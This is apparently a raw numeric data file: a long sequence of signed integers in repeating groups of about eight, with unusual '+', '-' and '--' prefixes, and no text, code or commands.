+57 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +16 +-78 +-128 +-128 +-58 +57 +127 +127 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-77 +-128 +-128 +-55 +58 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +13 +-78 +-128 +-128 +-58 +54 +127 +126 +12 +-79 +-128 +-128 +-57 +56 +127 +124 +16 +-79 +-128 +-128 +-55 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +56 +127 +122 +12 +-80 +-128 +-128 +-57 +58 +127 +124 +14 +-76 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +124 +13 +-80 +-128 +-128 +-58 +57 +127 +124 +13 +-78 +-128 +-128 +-57 +57 +127 +127 +13 +-76 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-57 +57 +127 +126 +16 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 -58 55 -137 -130 -18 --70 --118 --118 --48 -67 -137 -136 -26 --68 --118 --118 --49 -64 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --49 -64 -137 -135 -22 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -67 -137 -134 -26 --67 --118 --118 --50 -66 -137 -132 -22 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --45 -68 -137 -135 -25 --67 --118 --118 --48 -65 -137 -135 -26 --69 --118 --118 --47 -68 -137 -136 -23 --65 --118 --118 --46 -67 -137 -133 -24 --68 --118 --118 --46 -65 -137 -133 -26 --67 --118 --118 --46 -66 -137 -134 -26 --67 --118 --118 --46 -68 -137 -134 -25 --68 --118 --118 --47 -69 -137 -134 -24 --68 --118 --118 --48 -67 -137 -134 -26 --66 --118 --118 --46 -65 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -131 -22 --70 --118 --118 --49 -66 -137 -133 -25 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --47 -68 -137 -133 -26 --66 --118 --118 --47 -68 -137 -133 -25 --67 --118 --118 --46 -65 -137 -136 -25 --68 --118 --118 --49 -65 -137 -131 -22 --70 --118 --118 --47 -66 -137 -135 -24 --66 --118 --118 --45 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -67 -137 -133 -26 --66 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -24 --67 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -67 -137 -135 -24 --69 --118 --118 --48 -66 --25 --89 --101 -21 -120 -13 --58 --88 -27 -118 -11 --76 --95 -20 -112 -7 --65 --99 -18 -111 -5 --80 --98 -18 -111 -6 --66 --98 -19 -111 -6 --80 --98 -18 -111 -6 --66 --98 -19 -112 -5 --80 --97 -19 -112 -7 --65 --97 -20 -112 -7 --80 --98 -19 -112 -6 --65 --97 -18 -111 -7 --81 --98 -19 -112 -6 --64 --97 -19 -112 -7 --82 --99 -19 -112 -7 --64 --98 -19 -112 -6 --80 --97 -19 -112 -7 --66 --98 -19 -112 -6 --80 --98 -19 -112 -7 --65 --99 -19 -110 -9 --82 --97 -15 -108 -5 --68 --101 -15 -113 -9 --82 --100 -14 -111 -9 --66 --100 -15 -110 -9 --82 --101 -15 -112 -10 --66 --100 -15 -110 -137 -137 -33 --57 --118 --118 --56 -58 -137 -128 -21 --70 --118 --118 --47 -67 -137 -134 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --47 -67 -137 -132 -23 --68 --118 --118 --46 -66 -137 -134 -24 --69 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --47 -66 -137 -133 -26 --66 --118 --118 --45 -66 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --45 -65 -137 -132 -24 --65 --118 --118 --48 -68 -137 -133 -24 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --47 -69 -137 -134 -24 --68 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --48 -64 -137 -132 -23 --70 --118 --118 --50 -66 -137 -133 -23 --66 --118 --118 --47 -67 -137 -135 -25 --67 --118 --118 --45 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -63 -137 -134 -22 --68 --118 --118 --47 -65 -137 -135 -26 --69 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --48 -67 -137 -134 -23 --66 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -26 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --47 -67 -137 -135 -24 --69 --118 --118 --48 -66 -137 -133 -25 --66 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --47 -69 -137 -134 -24 --68 --118 --118 --49 -63 -137 -134 -22 --69 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -68 --26 --93 --100 -19 -116 -11 --62 --90 -24 -115 -13 --77 --99 -16 -110 -8 --66 --102 -14 -110 -9 --82 --101 -15 -110 -8 --66 --102 -14 -110 -9 --82 --101 -14 -109 -8 --67 --101 -14 -112 -9 --82 --101 -14 -108 -6 --68 --101 -14 -112 -9 --82 --101 -14 -110 -8 --67 --101 -15 -112 -10 --81 --101 -14 -110 -8 --66 --101 -15 -112 -9 --81 --100 -15 -110 -9 --66 --100 -15 -112 -10 --81 --100 -15 -110 -9 --66 --100 -15 -112 -10 --81 --100 -15 -108 -6 --68 --101 -15 -113 -10 --81 --100 -15 -109 -8 --67 --101 -15 -112 -10 --81 --100 -16 -108 -7 --67 --101 -15 -112 -10 --81 --100 -15 -109 -7 --67 --101 -15 -113 -10 --81 --100 -15 -109 -6 --68 --101 -15 -112 -10 --80 --100 -16 -110 -8 --67 --100 -15 -113 -10 --81 --100 -14 -110 -9 --66 --100 -15 -112 -10 --81 --100 -16 -110 -8 --66 --100 -15 -112 -9 --81 --101 -15 -110 -8 --67 --100 -15 -113 -10 --80 --100 -16 -109 -6 --67 --101 -15 -113 -137 -137 -35 --57 --118 --118 --57 -56 -137 -130 -18 --72 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -133 -24 --68 --118 --118 --48 -64 -137 -132 -23 --70 --118 --118 --49 -64 -137 -133 -23 --70 --118 --118 --49 -65 -137 -131 -22 --70 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --45 -66 -137 -134 -24 --69 --118 --118 --48 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -65 -137 -132 -23 --70 --118 --118 --47 -67 -137 -134 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --47 -68 -137 -133 -26 --67 --118 --118 --50 -65 -137 -133 -23 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -65 -137 -131 -23 --70 --118 --118 --47 -67 -137 -134 -25 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --48 -63 -137 -135 -22 --69 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 --26 --92 --101 -23 -119 -16 --59 --90 -28 -116 -14 --78 --95 -19 -112 -6 --66 --100 -18 -111 -5 --81 --98 -18 -111 -6 --66 --98 -19 -112 -6 --80 --98 -19 -112 -7 --66 --98 -18 -113 -7 --82 --96 -16 -109 -5 --65 --96 -15 -108 -4 --83 --98 -20 -112 -6 --67 --97 -16 -108 -4 --82 --97 -17 -112 -137 -137 -34 --58 --118 --118 --57 -56 -137 -129 -18 --57 --118 --118 --50 -63 -137 -135 -22 --66 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -23 --68 --118 --118 --47 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -69 -137 -135 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -65 -137 -132 -22 --68 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --48 -68 -137 -136 -23 --66 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -24 --69 --118 --118 --48 -66 -137 -133 -23 --69 --118 --118 --46 -68 -137 -136 -26 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -65 -137 -133 -24 --70 --118 --118 --48 -67 -137 -134 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -137 -24 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -23 --68 --118 --118 --47 -66 -137 -135 -24 --68 --118 --118 --46 -66 -137 -133 -25 --65 --118 --118 --46 -68 -137 -134 -23 --68 --118 --118 --48 -68 -137 -136 -26 --67 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --48 -64 -137 -135 -23 --70 --118 --118 --49 -64 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -24 --69 --118 --118 --47 -69 -137 -136 -27 --69 --118 --118 --46 -66 -137 -133 -25 --65 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -22 --66 --118 --118 --47 -68 -137 -134 -23 --68 --118 --118 --48 -64 -137 -136 -23 --68 --118 --118 --46 -65 -137 -132 -24 --65 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -22 --69 --118 --118 --50 -66 -137 -132 -22 --66 --118 --118 --47 -68 --27 --93 --102 -22 -117 -16 --77 --87 -26 -118 -12 --61 --97 -19 -112 -5 --80 --98 -17 -111 -6 --67 --99 -18 -112 -5 --80 --97 -19 -112 -7 --66 --98 -19 -112 -6 --80 --98 -19 -112 -6 --64 --97 -19 -111 -7 --81 --98 -19 -111 -8 --66 --99 -16 -108 -4 --82 --97 -18 -110 -8 --65 --99 -20 -109 -137 -137 -32 --61 --118 --118 --58 -56 -137 -130 -18 --71 --118 --118 --48 -64 -137 -131 -22 --69 --118 --118 --49 -67 -137 -132 -23 --66 --118 --118 --47 -68 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -134 -24 --70 --118 --118 --49 -65 -137 -133 -23 --66 --118 --118 --47 -68 -137 -134 -26 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --48 -67 -137 -134 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -63 --29 --94 --88 -21 -120 -13 --62 --90 -25 -114 -10 --79 --99 -16 -114 -8 --67 --102 -14 -112 -9 --81 --101 -14 -109 -8 --67 --100 -15 -114 -10 --81 --100 -15 -111 -9 --66 --101 -14 -112 -10 --82 --100 -15 -112 -10 --65 --101 -15 -112 -9 --82 --101 -15 -111 -9 --66 --101 -14 -112 -10 --81 --100 -15 -112 -137 -137 -33 --57 --118 --118 --55 -59 -137 -131 -21 --70 --118 --118 --47 -67 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -22 --66 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --45 -66 -137 -136 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --45 -68 -137 -135 -25 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -136 -22 --67 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --47 -69 -137 -136 -26 --67 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -23 --68 --118 --118 --46 -68 -137 -134 -26 --65 --118 --118 --49 -64 -137 -135 -22 --68 --118 --118 --48 -64 -137 -136 -22 --69 --118 --118 --50 -63 -137 -135 -22 --66 --118 --118 --47 -68 -137 -136 -24 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -26 --66 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -23 --67 --118 --118 --46 -66 --25 --94 --100 -21 -119 -14 --76 --88 -27 -120 -12 --59 --95 -21 -112 -6 --81 --98 -17 -110 -6 --66 --99 -19 -112 -6 --80 --97 -19 -112 -7 --65 --98 -19 -112 -7 --80 --98 -19 -112 -6 --66 --97 -16 -108 -4 --84 --101 -15 -114 -9 --67 --100 -14 -112 -10 --81 --100 -15 -112 -10 --66 --101 -15 -110 -137 -137 -33 --57 --118 --118 --55 -59 -137 -128 -19 --72 --118 --118 --48 -68 -137 -132 -23 --66 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --66 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --45 -68 -137 -135 -25 --67 --118 --118 --46 -66 --25 --91 --100 -22 -120 -14 --59 --88 -28 -118 -14 --76 --96 -21 -111 -9 --67 --98 -18 -110 -6 --82 --99 -18 -112 -5 --64 --98 -19 -112 -8 --81 --98 -18 -112 -7 --65 --98 -19 -111 -7 --80 --97 -20 -112 -6 --65 --97 -18 -111 -6 --82 --98 -18 -113 -6 --64 --96 -19 -112 -137 -137 -35 --59 --118 --118 --55 -58 -137 -130 -19 --71 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -66 -137 -136 -24 --66 --118 --118 --47 -66 -137 -135 -25 --67 --118 --118 --46 -68 -137 -134 -24 --67 --118 --118 --47 -66 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -24 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --69 --118 --118 --49 -64 -137 -133 -24 --70 --118 --118 --47 -68 -137 -133 -24 --67 --118 --118 --47 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -24 --66 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -136 -22 --69 --118 --118 --47 -66 -137 -133 -25 --66 --118 --118 --45 -65 -137 -135 -26 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -68 -137 -133 -26 --68 --118 --118 --50 -66 -137 -133 -23 --65 --118 --118 --47 -67 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --47 -65 -137 -134 -23 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -67 --26 --92 --102 -22 -119 -14 --60 --89 -28 -119 -12 --75 --96 -20 -112 -6 --64 --98 -17 -110 -6 --82 --99 -19 -111 -6 --65 --98 -18 -112 -6 --82 --99 -19 -111 -8 --65 --98 -19 -112 -6 --81 --97 -18 -112 -7 --66 --98 -18 -112 -6 --80 --98 -19 -112 -7 --66 --97 -16 -108 -4 --84 --101 -15 -113 -137 -137 -34 --57 --118 --118 --58 -56 -137 -130 -18 --70 --118 --118 --46 -67 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --45 -68 -137 -136 -26 --67 --118 --118 --46 -68 --27 --93 --100 -22 -120 -15 --74 --88 -28 -118 -14 --59 --96 -20 -112 -6 --80 --99 -17 -110 -6 --67 --99 -19 -112 -8 --81 --98 -19 -112 -5 --64 --98 -19 -112 -7 --81 --98 -19 -112 -6 --64 --98 -19 -112 -7 --82 --99 -18 -112 -5 --64 --98 -18 -111 -7 --82 --99 -18 -111 -7 --65 --99 -18 -112 -5 --81 --97 -19 -112 -7 --66 --99 -18 -112 -5 --80 --97 -19 -112 -7 --65 --98 -20 -112 -7 --80 --98 -19 -112 -5 --64 --98 -18 -111 -7 --82 --98 -18 -112 -6 --64 --97 -19 -112 -7 --81 --98 -19 -111 -8 --65 --98 -19 -112 -9 --81 --99 -19 -112 -8 --65 --98 -20 -112 -7 --81 --98 -20 -111 -137 -137 -35 --59 --118 --118 --54 -60 -137 -130 -20 --71 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --48 -68 -137 -134 -25 --67 --118 --118 --46 -65 -137 -136 -23 --67 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -135 -23 --70 --118 --118 --50 -64 -137 -134 -22 --66 --118 --118 --47 -67 -137 -133 -23 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --49 -64 -137 -135 -23 --69 --118 --118 --48 -66 -137 -133 -23 --70 --118 --118 --49 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -134 -26 --66 --118 --118 --48 -66 -137 -131 -22 --68 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --47 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -23 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --49 -64 -137 -134 -23 --70 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --48 -69 -137 -137 -25 --68 --118 --118 --47 -68 -137 -134 -27 --67 --118 --118 --50 -65 -137 -133 -22 --66 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -25 --68 --118 --118 --49 -63 -137 -136 -22 --67 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --48 -68 -137 -134 -23 --68 --118 --118 --48 -66 -137 -134 -23 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -26 --66 --118 --118 --48 -66 -137 -134 -26 --66 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --47 -68 -137 -137 -23 --66 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --69 --118 --118 --47 -68 -137 -135 -26 --69 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --45 -67 -137 -137 -26 --66 --118 --118 --45 -68 -137 -135 -24 --68 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --48 -68 -137 -136 -24 --69 --118 --118 --48 -67 -137 -136 -23 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -68 -137 -136 -24 --67 --118 --118 --46 -69 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --48 -66 -137 -132 -23 --66 --118 --118 --48 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -136 -23 --66 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --47 -67 -137 -136 -24 --68 --118 --118 --48 -67 -137 -135 -23 --66 --118 --118 --45 -68 -137 -136 -25 --68 --118 --118 --48 -68 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --50 -63 -137 -136 -22 --66 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -65 -137 -134 -25 --66 --118 --118 --46 -66 -137 -134 -25 --66 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -132 -22 --69 --118 --118 --49 -63 -137 -136 -22 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --49 -64 -137 -133 -23 --70 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --47 -66 -137 -134 -26 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -65 -137 -135 -24 --69 --118 --118 --47 -67 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -66 -137 -135 -24 --68 --118 --118 --45 -65 -137 -133 -24 --65 --118 --118 --47 -68 -137 -135 -26 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -68 -137 -133 -25 --65 --118 --118 --47 -66 -137 -135 -24 --68 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --45 -65 -137 -135 -26 --68 --118 --118 --50 -68 -137 -132 -23 --65 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -68 -137 -135 -26 --69 --118 --118 --46 -68 --26 --92 --102 -23 -117 -16 --76 --87 -24 -115 -10 --63 --98 -16 -113 -10 --80 --101 -14 -109 -7 --67 --102 -14 -112 -9 --82 --101 -15 -110 -9 --66 --101 -15 -112 -9 --81 --101 -15 -110 -9 --66 --101 -14 -112 -9 --81 --101 -15 -111 -9 --65 --101 -15 -113 -10 --81 --100 -15 -112 -10 --63 --100 -15 -110 -137 -137 -34 --57 --118 --118 --56 -58 -137 -130 -21 --71 --118 --118 --47 -66 -137 -134 -24 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -65 -137 -131 -21 --70 --118 --118 --47 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -65 -137 -135 -27 --69 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --47 -67 -137 -135 -24 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -135 -24 --65 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -23 --68 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --48 -66 -137 -132 -25 --65 --118 --118 --47 -68 -137 -136 -26 --68 --118 --118 --49 -64 -137 -135 -23 --70 --118 --118 --50 -64 -137 -133 -23 --66 --118 --118 --47 -68 -137 -134 -26 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -67 -137 -135 -23 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --49 -63 -137 -135 -22 --69 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -24 --68 --118 --118 --47 -66 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --48 -64 -137 -136 -23 --69 --118 --118 --48 -67 -137 -134 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --47 -68 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --45 -66 -137 -135 -25 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --48 -64 --29 --93 --102 -19 -116 -12 --62 --91 -24 -120 -14 --78 --98 -16 -113 -10 --65 --102 -14 -109 -8 --83 --101 -14 -113 -10 --66 --101 -15 -110 -9 --82 --101 -14 -113 -10 --65 --100 -15 -108 -7 --83 --101 -16 -114 -9 --66 --101 -15 -113 -10 --81 --100 -15 -112 -9 --66 --101 -14 -112 -137 -137 -34 --57 --118 --118 --55 -59 -137 -130 -21 --71 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -24 --69 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --48 -64 -137 -135 -23 --68 --118 --118 --45 -64 -137 -132 -24 --70 --118 --118 --47 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --48 -66 -137 -136 -23 --65 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -23 --66 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -23 --69 --118 --118 --48 -68 -137 -133 -24 --68 --118 --118 --48 -66 -137 -136 -24 --66 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -66 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -67 -137 -134 -25 --68 --118 --118 --49 -66 -137 -135 -24 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -67 -137 -132 -25 --65 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --45 -66 -137 -135 -23 